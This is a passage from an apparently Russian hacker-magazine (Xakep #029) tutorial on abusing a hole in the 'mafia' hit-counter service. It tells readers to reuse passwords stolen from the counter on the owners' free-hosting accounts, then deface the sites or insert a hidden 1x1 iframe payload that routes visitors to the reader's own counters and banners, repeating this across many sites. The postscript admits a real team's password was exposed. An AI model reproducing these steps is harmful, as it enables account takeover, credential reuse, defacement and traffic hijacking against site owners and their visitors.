Мафию отмафили

Xakep, номер #029, стр. 029-054-2

Сохрани указаный сорс, поправь его - укажи там свое мыло или, например, многострадальное support@microsoft.com ;). Туда и отправится инфа об изменениях.

2. Теперь самое время позабавиться с траффиком жертвы :). Как я писал выше, человеческий фактор играет здесь важную роль. Так что придется покопаться. Терпение, и будешь вознагражден. Обычно паги, на которых стоит счетчик "мафии", хостятся на халявных хостингах типа чат.ру, вебсервис.ру, ньюмэйл.ру и т. д. И эти хостинги дают доменное имя юзверям типа http://юзверь.чат.ру. В данном случае, "юзверь" - это логин на редактирование паги на ввв.чат.ру. А пароль пробуй тот, что ты раздобыл на "мафии" при помощи отверстия :). Если повезет, и пароль на счетчик и аккаунт к паге будут совпадать, то ты можешь дефейснуть сайт (ваще пинцет, "дефейсить" хомяки %() или поступить более разумно, а точнее, перевести траффик посетителей поломанного сайта к себе. Это делается не просто, а очень просто. Открываешь "Блокнот" и копируешь туда коды всех твоих счетчиков, баннеров и т. д. Сохраняешь все это с расширением .html . Теперь заливаешь полученное файло на сервак, где валяется твоя пага. А в "хакнутый" index.html вставляешь такой код <iframe WIDTH=1 HEIGHT=1 src=http://www.supermegahacker.chat.ru/counterz.html></iframe>. То есть посетители сломанной паги будут заодно накручивать твои счетчики и баннеры. А если ты это же самое сделаешь с десятком-другим страниц, на разных хостингах? Прикинь, какой будет траффик!

В общем, дерзай, пока это отверстие существует :).

PS: Приношу свои извинения ребятам из команды, чей пароль я здесь "засветил". Это было сделано без какого либо умысла, просто взял первый попавшийся.